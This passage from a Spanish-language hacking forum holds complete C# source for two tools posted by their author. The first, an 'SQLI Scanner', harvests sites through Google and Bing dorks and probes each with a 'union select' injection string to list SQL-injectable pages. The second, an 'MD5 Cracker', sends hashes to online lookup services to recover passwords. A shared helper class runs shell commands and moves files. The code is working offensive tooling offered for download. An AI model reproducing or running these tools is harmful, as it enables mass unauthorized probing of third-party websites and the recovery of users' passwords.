IPAddress[ ] find = Dns. GetHostAddresses ( host) ;
code = find[ 0 ] . ToString ( ) ;
}
catch
{
code = "Error" ;
}
return code;
}
}
}
// The End ?
Si lo quieren bajar lo pueden hacer de
aca
99
Programación / .NET (C#, VB.NET, ASP) / [C#] SQLI Scanner 0.4
en: 18 Julio 2014, 01:36 am
Un simple programa en C# para buscar paginas vulnerables a SQLI usando Google o Bing.
Una imagen :
Los codigos :
Form1.cs
// SQLI Scanner 0.4
// (C) Doddy Hackman 2014
using System ;
using System.Collections.Generic ;
using System.ComponentModel ;
using System.Data ;
using System.Drawing ;
using System.Text ;
using System.Windows.Forms ;
using System.IO ;
using System.Text.RegularExpressions ;
namespace SQLI_Scanner
{
public partial class Form1 : Form
{
public Form1( )
{
InitializeComponent( ) ;
}
private void button1_Click( object sender, EventArgs e)
{
listBox1. Items . Clear ( ) ;
DH_Tools tools
= new DH_Tools
( ) ; funciones funcion
= new funciones
( ) ;
toolStripStatusLabel1. Text = "[+] Searching ..." ;
this . Refresh ( ) ;
List
< string > urls
= new List
< string > { } ;
if ( comboBox1. Text == "Bing" )
{
urls = funcion. bingsearch ( textBox1. Text , textBox2. Text ) ;
urls = tools. repes ( tools. cortar ( urls) ) ;
}
else
{
urls = funcion. googlesearch ( textBox1. Text , textBox2. Text ) ;
urls = tools. repes ( tools. cortar ( urls) ) ;
}
foreach ( string url in urls)
{
listBox1. Items . Add ( url) ;
}
if ( listBox1. Items . Count == 0 )
{
MessageBox. Show ( "Not Found" ) ;
}
toolStripStatusLabel1. Text = "[+] Search finished" ;
this . Refresh ( ) ;
}
private void button2_Click( object sender, EventArgs e)
{
toolStripStatusLabel1. Text = "[+] Scanning ..." ;
this . Refresh ( ) ;
listBox2. Items . Clear ( ) ;
DH_Tools tools
= new DH_Tools
( ) ;
String url = "" ;
String code = "" ;
List
< string > urls_to_scan
= new List
< string > { } ;
foreach ( object write in listBox1. Items )
{
urls_to_scan. Add ( write. ToString ( ) ) ;
}
if ( listBox1. Items . Count == 0 )
{
MessageBox. Show ( "Not Found" ) ;
}
else
{
foreach ( string page in urls_to_scan)
{
toolStripStatusLabel1. Text = "[+] Checking : " + page;
this . Refresh ( ) ;
code = tools. toma ( page + "-1+union+select+666--" ) ;
Match regex = Regex. Match ( code, "The used SELECT statements have a different number of columns" , RegexOptions. IgnoreCase ) ;
if ( regex. Success )
{
listBox2. Items . Add ( page) ;
tools. savefile ( "sqli-logs.txt" , page) ;
}
}
if ( listBox2. Items . Count == 0 )
{
MessageBox. Show ( "Not Found" ) ;
}
}
toolStripStatusLabel1. Text = "[+] Scan Finished" ;
this . Refresh ( ) ;
}
private void button3_Click( object sender, EventArgs e)
{
DH_Tools tools
= new DH_Tools
( ) ; if ( File. Exists ( "sqli-logs.txt" ) )
{
tools. console ( "sqli-logs.txt" ) ;
}
else
{
MessageBox. Show ( "Logs not found" ) ;
}
}
private void button4_Click( object sender, EventArgs e)
{
Application. Exit ( ) ;
}
private void listBox1_DoubleClick( object sender, EventArgs e)
{
DH_Tools tools
= new DH_Tools
( ) ; tools. console ( "start " + listBox1. SelectedItem . ToString ( ) ) ;
}
private void listBox2_DoubleClick( object sender, EventArgs e)
{
DH_Tools tools
= new DH_Tools
( ) ; tools. console ( "start " + listBox2. SelectedItem . ToString ( ) ) ;
}
}
}
// The End ?
funciones.cs
// Funciones para SQLI Scanner 0.4
// (C) Doddy Hackman 2014
using System ;
using System.Collections.Generic ;
using System.Text ;
using System.Net ;
using System.Text.RegularExpressions ;
using System.Web ;
namespace SQLI_Scanner
{
class funciones
{
public List< String > bingsearch( string dork, string cantidad)
{
String code = "" ;
Int16 num = 0 ;
//String dork = "index.php+id";
//String cantidad = "20";
String url_cortar = "" ;
String url_final = "" ;
WebClient nave
= new WebClient
( ) ; nave. Headers [ "User-Agent" ] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" ;
List
< string > urls
= new List
< string > { } ;
for ( num = 10 ; num <= Convert. ToInt16 ( cantidad) ; num += 10 )
{
code = nave. DownloadString ( "http://www.bing.com/search?q=" + dork + "&first=" + num) ;
Match regex1 = Regex. Match ( code, "<h3><a href=\" (.*?)\" " , RegexOptions. IgnoreCase ) ;
while ( regex1. Success )
{
url_cortar = regex1. Groups [ 1 ] . Value ;
Match regex2 = Regex. Match ( url_cortar, "(.*?)=(.*?)" , RegexOptions. IgnoreCase ) ;
if ( regex2. Success )
{
url_final = regex2. Groups [ 1 ] . Value + "=" ;
urls. Add ( url_final) ;
}
regex1 = regex1. NextMatch ( ) ;
}
}
return urls;
}
public List< String > googlesearch( string dork, string paginas)
{
String code = "" ;
Int16 num = 0 ;
String lineafinale = "" ;
String leer = "" ;
WebClient nave
= new WebClient
( ) ; nave. Headers [ "User-Agent" ] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" ;
List
< string > urlsgoogle
= new List
< string > { } ;
for ( num = 10 ; num <= Convert. ToInt16 ( paginas) ; num += 10 )
{
code = nave. DownloadString ( "http://www.google.com/search?hl=&q=" + dork + "&start=" + num) ;
Match regex = Regex. Match ( code, "(?<=\" r\" ><. href=\" )(.+?)\" " , RegexOptions. IgnoreCase ) ;
while ( regex. Success )
{
leer = Uri. UnescapeDataString ( regex. Groups [ 1 ] . Value ) ;
Match cortada = Regex. Match ( leer, @"\/url\?q\=(.*?)\&\;" , RegexOptions. IgnoreCase ) ;
if ( cortada. Success )
{
lineafinale = cortada. Groups [ 1 ] . Value ;
}
else
{
lineafinale = leer;
}
urlsgoogle. Add ( lineafinale) ;
regex = regex. NextMatch ( ) ;
}
}
return urlsgoogle;
}
}
}
// The End ?
DH_Tools.cs
// Class Name : DH Tools
// Version : Beta
// Author : Doddy Hackman
// (C) Doddy Hackman 2014
//
// Functions :
//
// [+] HTTP Methods GET & POST
// [+] Get HTTP Status code number
// [+] HTTP FingerPrinting
// [+] Read File
// [+] Write File
// [+] GET OS
// [+] Remove duplicates from a List
// [+] Cut urls from a List
// [+] Download
// [+] Upload
// [+] Get Basename from a path
// [+] Execute commands
// [+] URI Split
// [+] MD5 Hash Generator
// [+] Get MD5 of file
// [+] Get IP address from host name
//
// Credits :
//
// Method POST -> https://technet.rapaport.com/Info/Prices/SampleCode/Full_Example.aspx
// Method GET -> http://stackoverflow.com/questions/4510212/how-i-can-get-web-pages-content-and-save-it-into-the-string-variable
// HTTP Headers -> http://msdn.microsoft.com/en-us/library/system.net.httpwebresponse.headers%28v=vs.110%29.aspx
// List Cleaner -> http://forums.asp.net/t/1318899.aspx?Remove+duplicate+items+from+List+String+
// Execute command -> http://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C
// MD5 Hash Generator -> http://www.java2s.com/Code/CSharp/Security/GetandverifyMD5Hash.htm
// Get MD5 of file -> http://stackoverflow.com/questions/10520048/calculate-md5-checksum-for-a-file
//
// Thanks to : $DoC and atheros14 (Forum indetectables)
//
using System ;
using System.Collections.Generic ;
using System.Text ;
using System.Net ;
using System.IO ;
using System.Text.RegularExpressions ;
using System.Security.Cryptography ;
namespace SQLI_Scanner
{
class DH_Tools
{
public string toma( string url)
{
string code = "" ;
try
{
WebClient nave
= new WebClient
( ) ; nave. Headers [ "User-Agent" ] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" ;
code = nave. DownloadString ( url) ;
}
catch
{
//
}
return code;
}
public string tomar( string url, string par)
{
string code = "" ;
try
{
HttpWebRequest nave = ( HttpWebRequest)
WebRequest. Create ( url) ;
nave. UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" ;
nave. Method = "POST" ;
nave. ContentType = "application/x-www-form-urlencoded" ;
Stream anteantecode = nave. GetRequestStream ( ) ;
anteantecode. Write ( Encoding. ASCII . GetBytes ( par) , 0 , Encoding. ASCII . GetBytes ( par) . Length ) ;
anteantecode. Close ( ) ;
StreamReader antecode
= new StreamReader
( nave
. GetResponse ( ) . GetResponseStream ( ) ) ; code = antecode. ReadToEnd ( ) ;
}
catch
{
//
}
return code;
}
public string respondecode( string url)
{
String code = "" ;
try
{
HttpWebRequest nave = ( HttpWebRequest) WebRequest. Create ( url) ;
nave. UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" ;
HttpWebResponse num = ( HttpWebResponse) nave. GetResponse ( ) ;
int number = ( int ) num. StatusCode ;
code = Convert. ToString ( number) ;
}
catch
{
code = "404" ;
}
return code;
}
public string httpfinger( string url)
{
String code = "" ;
try
{
HttpWebRequest nave1 = ( HttpWebRequest) WebRequest. Create ( url) ;
HttpWebResponse nave2 = ( HttpWebResponse) nave1. GetResponse ( ) ;
for ( int num = 0 ; num < nave2. Headers . Count ; ++ num)
{
code = code + "[+] " + nave2. Headers . Keys [ num] + ":" + nave2. Headers [ num] + Environment. NewLine ;
}
nave2. Close ( ) ;
}
catch
{
//
}
return code;
}
public string openword( string file)
{
String code = "" ;
try
{
code = System.IO . File . ReadAllText ( file) ;
}
catch
{
//
}
return code;
}
public void savefile( string file, string texto)
{
try
{
System.IO . StreamWriter save
= new System.IO . StreamWriter ( file,
true ) ; save. Write ( texto) ;
save. Close ( ) ;
}
catch
{
//
}
}
public string getos( )
{
string code = "" ;
try
{
System . OperatingSystem os = System . Environment . OSVersion ;
code = Convert. ToString ( os) ;
}
catch
{
code = "?" ;
}
return code;
}
public List< string > repes( List< string > array)
{
List
< string > repe
= new List
< string > ( ) ; foreach ( string lin in array)
{
if ( ! repe. Contains ( lin) )
{
repe. Add ( lin) ;
}
}
return repe;
}
public List< string > cortar( List< string > otroarray)
{
List
< string > cort
= new List
< string > ( ) ;
foreach ( string row in otroarray)
{
String lineafinal = "" ;
Match regex = Regex. Match ( row, @"(.*)\?(.*)=(.*)" , RegexOptions. IgnoreCase ) ;
if ( regex. Success )
{
lineafinal = regex. Groups [ 1 ] . Value + "?" + regex. Groups [ 2 ] . Value + "=" ;
cort. Add ( lineafinal) ;
}
}
return cort;
}
public string download( string url, string savename)
{
String code = "" ;
WebClient nave
= new WebClient
( ) ; nave. Headers [ "User-Agent" ] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" ;
try
{
nave. DownloadFile ( url, savename) ;
code = "OK" ;
}
catch
{
code = "Error" ;
}
return code;
}
public string upload( string link, string archivo)
{
String code = "" ;
try
{
WebClient nave
= new WebClient
( ) ; nave. Headers [ "User-Agent" ] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" ;
byte [ ] codedos = nave. UploadFile ( link, "POST" , archivo) ;
code = System.Text . Encoding . UTF8 . GetString ( codedos, 0 , codedos. Length ) ;
}
catch
{
code = "Error" ;
}
return code;
}
public string basename( string file)
{
String nombre = "" ;
FileInfo basename
= new FileInfo
( file
) ; nombre = basename. Name ;
return nombre;
}
public string console( string cmd)
{
string code = "" ;
try
{
System.Diagnostics . ProcessStartInfo loadnow
= new System.Diagnostics . ProcessStartInfo ( "cmd" ,
"/c " + cmd
) ; loadnow. RedirectStandardOutput = true ;
loadnow. UseShellExecute = false ;
loadnow. CreateNoWindow = true ;
System.Diagnostics . Process loadnownow
= new System.Diagnostics . Process ( ) ; loadnownow. StartInfo = loadnow;
loadnownow. Start ( ) ;
code = loadnownow. StandardOutput . ReadToEnd ( ) ;
}
catch
{
code = "Error" ;
}
return code;
}
public string urisplit( string url, string opcion)
{
string code = "" ;
Uri dividir
= new Uri
( url
) ;
if ( opcion == "host" )
{
code = dividir. Host ;
}
if ( opcion == "port" )
{
code = Convert. ToString ( dividir. Port ) ;
}
if ( opcion == "path" )
{
code = dividir. LocalPath ;
}
if ( opcion == "file" )
{
code = dividir. AbsolutePath ;
FileInfo basename
= new FileInfo
( code
) ; code = basename. Name ;
}
if ( opcion == "query" )
{
code = dividir. Query ;
}
if ( opcion == "" )
{
code = "Error" ;
}
return code;
}
public string convertir_md5( string text)
{
MD5 convertirmd5 = MD5. Create ( ) ;
byte [ ] infovalor = convertirmd5. ComputeHash ( Encoding. Default . GetBytes ( text) ) ;
StringBuilder guardar
= new StringBuilder
( ) ; for ( int numnow = 0 ; numnow < infovalor. Length ; numnow++ )
{
guardar. Append ( infovalor[ numnow] . ToString ( "x2" ) ) ;
}
return guardar. ToString ( ) ;
}
public string md5file( string file)
{
string code = "" ;
try
{
var gen = MD5. Create ( ) ;
var ar = File. OpenRead ( file) ;
code = BitConverter. ToString ( gen. ComputeHash ( ar) ) . Replace ( "-" , "" ) . ToLower ( ) ;
}
catch
{
code = "Error" ;
}
return code;
}
public string getip( string host)
{
string code = "" ;
try
{
IPAddress[ ] find = Dns. GetHostAddresses ( host) ;
code = find[ 0 ] . ToString ( ) ;
}
catch
{
code = "Error" ;
}
return code;
}
}
}
// The End ?
Si lo quieren bajar lo pueden hacer de
aca .
100
Programación / .NET (C#, VB.NET, ASP) / [C#] MD5 Cracker 0.3
en: 11 Julio 2014, 18:38 pm
Version en C# de este programa para crackear un MD5 usando el servicio de diversas paginas online.
Una imagen :
Los codigos :
// MD5 Cracker 0.3
// (C) Doddy Hackman 2014
// Credits :
// Based in ->
// http://md5online.net
// http://md5decryption.com
// http://md5.my-addr.com
// Thanks to aeonhack for the Theme Skin
using System ;
using System.Collections.Generic ;
using System.ComponentModel ;
using System.Data ;
using System.Drawing ;
using System.Text ;
using System.Windows.Forms ;
using System.Text.RegularExpressions ;
namespace md5cracker
{
public partial class Form1 : Form
{
public Form1( )
{
InitializeComponent( ) ;
}
private void droneButton2_Click( object sender, EventArgs e)
{
toolStripStatusLabel1. Text = "[+] Cracking ..." ;
this . Refresh ( ) ;
//202cb962ac59075b964b07152d234b70
string md5 = textBox1. Text ;
string rta = "" ;
string code = "" ;
DH_Tools tools
= new DH_Tools
( ) ; code = tools. tomar ( "http://md5online.net/index.php" , "pass=" + md5 + "&option=hash2text&send=Submit" ) ;
Match regex = Regex. Match ( code, "<center><p>md5 :<b>(.*?)</b> <br>pass : <b>(.*?)</b></p>" , RegexOptions. IgnoreCase ) ;
if ( regex. Success )
{
rta = regex. Groups [ 2 ] . Value ;
}
else
{
code = tools. tomar ( "http://md5decryption.com/index.php" , "hash=" + md5 + "&submit=Decrypt It!" ) ;
regex = Regex. Match ( code, "Decrypted Text: </b>(.*?)</font>" , RegexOptions. IgnoreCase ) ;
if ( regex. Success )
{
rta = regex. Groups [ 1 ] . Value ;
}
else
{
code = tools. tomar ( "http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php" , "md5=" + md5) ;
regex = Regex. Match ( code, "<span class='middle_title'>Hashed string</span>: (.*?)</div>" , RegexOptions. IgnoreCase ) ;
if ( regex. Success )
{
rta = regex. Groups [ 1 ] . Value ;
}
else
{
rta = "Not Found" ;
}
}
}
textBox2. Text = rta;
toolStripStatusLabel1. Text = "[+] Finished" ;
this . Refresh ( ) ;
}
private void droneButton3_Click( object sender, EventArgs e)
{
Clipboard. SetText ( textBox2. Text ) ;
toolStripStatusLabel1. Text = "[+] Copied" ;
this . Refresh ( ) ;
}
private void droneButton1_Click( object sender, EventArgs e)
{
Application. Exit ( ) ;
}
}
}
// The End ?
// Class Name : DH Tools
// Version : Beta
// Author : Doddy Hackman
// (C) Doddy Hackman 2014
//
// Functions :
//
// [+] HTTP Methods GET & POST
// [+] Get HTTP Status code number
// [+] HTTP FingerPrinting
// [+] Read File
// [+] Write File
// [+] GET OS
// [+] Remove duplicates from a List
// [+] Cut urls from a List
// [+] Download
// [+] Upload
// [+] Get Basename from a path
// [+] Execute commands
// [+] URI Split
// [+] MD5 Hash Generator
// [+] Get MD5 of file
// [+] Get IP address from host name
//
// Credits :
//
// Method POST -> https://technet.rapaport.com/Info/Prices/SampleCode/Full_Example.aspx
// Method GET -> http://stackoverflow.com/questions/4510212/how-i-can-get-web-pages-content-and-save-it-into-the-string-variable
// HTTP Headers -> http://msdn.microsoft.com/en-us/library/system.net.httpwebresponse.headers%28v=vs.110%29.aspx
// List Cleaner -> http://forums.asp.net/t/1318899.aspx?Remove+duplicate+items+from+List+String+
// Execute command -> http://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C
// MD5 Hash Generator -> http://www.java2s.com/Code/CSharp/Security/GetandverifyMD5Hash.htm
// Get MD5 of file -> http://stackoverflow.com/questions/10520048/calculate-md5-checksum-for-a-file
//
// Thanks to : $DoC and atheros14 (Forum indetectables)
//
using System ;
using System.Collections.Generic ;
using System.Text ;
using System.Net ;
using System.IO ;
using System.Text.RegularExpressions ;
using System.Security.Cryptography ;
namespace md5cracker
{
class DH_Tools
{
public string toma( string url)
{
string code = "" ;
try
{
WebClient nave
= new WebClient
( ) ; nave. Headers [ "User-Agent" ] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" ;
code = nave. DownloadString ( url) ;
}
catch
{
//
}
return code;
}
public string tomar( string url, string par)
{
string code = "" ;
try
{
HttpWebRequest nave = ( HttpWebRequest)
WebRequest. Create ( url) ;
nave. UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" ;
nave. Method = "POST" ;
nave. ContentType = "application/x-www-form-urlencoded" ;
Stream anteantecode = nave. GetRequestStream ( ) ;
anteantecode. Write ( Encoding. ASCII . GetBytes ( par) , 0 , Encoding. ASCII . GetBytes ( par) . Length ) ;
anteantecode. Close ( ) ;
StreamReader antecode
= new StreamReader
( nave
. GetResponse ( ) . GetResponseStream ( ) ) ; code = antecode. ReadToEnd ( ) ;
}
catch
{
//
}
return code;
}
public string respondecode( string url)
{
String code = "" ;
try
{
HttpWebRequest nave = ( HttpWebRequest) WebRequest. Create ( url) ;
nave. UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" ;
HttpWebResponse num = ( HttpWebResponse) nave. GetResponse ( ) ;
int number = ( int ) num. StatusCode ;
code = Convert. ToString ( number) ;
}
catch
{
code = "404" ;
}
return code;
}
public string httpfinger( string url)
{
String code = "" ;
try
{
HttpWebRequest nave1 = ( HttpWebRequest) WebRequest. Create ( url) ;
HttpWebResponse nave2 = ( HttpWebResponse) nave1. GetResponse ( ) ;
for ( int num = 0 ; num < nave2. Headers . Count ; ++ num)
{
code = code + "[+] " + nave2. Headers . Keys [ num] + ":" + nave2. Headers [ num] + Environment. NewLine ;
}
nave2. Close ( ) ;
}
catch
{
//
}
return code;
}
public string openword( string file)
{
String code = "" ;
try
{
code = System.IO . File . ReadAllText ( file) ;
}
catch
{
//
}
return code;
}
public void savefile( string file, string texto)
{
try
{
System.IO . StreamWriter save
= new System.IO . StreamWriter ( file,
true ) ; save. Write ( texto) ;
save. Close ( ) ;
}
catch
{
//
}
}
public string getos( )
{
string code = "" ;
try
{
System . OperatingSystem os = System . Environment . OSVersion ;
code = Convert. ToString ( os) ;
}
catch
{
code = "?" ;
}
return code;
}
public List< string > repes( List< string > array)
{
List
< string > repe
= new List
< string > ( ) ; foreach ( string lin in array)
{
if ( ! repe. Contains ( lin) )
{
repe. Add ( lin) ;
}
}
return repe;
}
public List< string > cortar( List< string > otroarray)
{
List
< string > cort
= new List
< string > ( ) ;
foreach ( string row in otroarray)
{
String lineafinal = "" ;
Match regex = Regex. Match ( row, @"(.*)\?(.*)=(.*)" , RegexOptions. IgnoreCase ) ;
if ( regex. Success )
{
lineafinal = regex. Groups [ 1 ] . Value + "?" + regex. Groups [ 2 ] . Value + "=" ;
cort. Add ( lineafinal) ;
}
}
return cort;
}
public string download( string url, string savename)
{
String code = "" ;
WebClient nave
= new WebClient
( ) ; nave. Headers [ "User-Agent" ] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" ;
try
{
nave. DownloadFile ( url, savename) ;
code = "OK" ;
}
catch
{
code = "Error" ;
}
return code;
}
public string upload( string link, string archivo)
{
String code = "" ;
try
{
WebClient nave
= new WebClient
( ) ; nave. Headers [ "User-Agent" ] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" ;
byte [ ] codedos = nave. UploadFile ( link, "POST" , archivo) ;
code = System.Text . Encoding . UTF8 . GetString ( codedos, 0 , codedos. Length ) ;
}
catch
{
code = "Error" ;
}
return code;
}
public string basename( string file)
{
String nombre = "" ;
FileInfo basename
= new FileInfo
( file
) ; nombre = basename. Name ;
return nombre;
}
public string console( string cmd)
{
string code = "" ;
try
{
System.Diagnostics . ProcessStartInfo loadnow
= new System.Diagnostics . ProcessStartInfo ( "cmd" ,
"/c " + cmd
) ; loadnow. RedirectStandardOutput = true ;
loadnow. UseShellExecute = false ;
loadnow. CreateNoWindow = true ;
System.Diagnostics . Process loadnownow
= new System.Diagnostics . Process ( ) ; loadnownow. StartInfo = loadnow;
loadnownow. Start ( ) ;
code = loadnownow. StandardOutput . ReadToEnd ( ) ;
}
catch
{
code = "Error" ;
}
return code;
}
public string urisplit( string url, string opcion)
{
string code = "" ;
Uri dividir
= new Uri
( url
) ;
if ( opcion == "host" )
{
code = dividir. Host ;
}
if ( opcion == "port" )
{
code = Convert. ToString ( dividir. Port ) ;
}
if ( opcion == "path" )
{
code = dividir. LocalPath ;
}
if ( opcion == "file" )
{
code = dividir. AbsolutePath ;
FileInfo basename
= new FileInfo
( code
) ; code = basename. Name ;
}
if ( opcion == "query" )
{
code = dividir. Query ;
}
if ( opcion == "" )
{
code = "Error" ;
}
return code;
}
public string convertir_md5( string text)
{
MD5 convertirmd5 = MD5. Create ( ) ;
byte [ ] infovalor = convertirmd5. ComputeHash ( Encoding. Default . GetBytes ( text) ) ;
StringBuilder guardar
= new StringBuilder
( ) ; for ( int numnow = 0 ; numnow < infovalor. Length ; numnow++ )
{
guardar. Append ( infovalor[ numnow] . ToString ( "x2" ) ) ;
}
return guardar. ToString ( ) ;
}
public string md5file( string file)
{
string code = "" ;
try
{
var gen = MD5. Create ( ) ;
var ar = File. OpenRead ( file) ;
code = BitConverter. ToString ( gen. ComputeHash ( ar) ) . Replace ( "-" , "" ) . ToLower ( ) ;
}
catch
{
code = "Error" ;
}
return code;
}
public string getip( string host)
{
string code = "" ;
try
{
IPAddress[ ] find = Dns. GetHostAddresses ( host) ;
code = find[ 0 ] . ToString ( ) ;
}
catch
{
code = "Error" ;
}
return code;
}
}
}
// The End ?
Si quieren bajar el programa lo pueden hacer de
aca .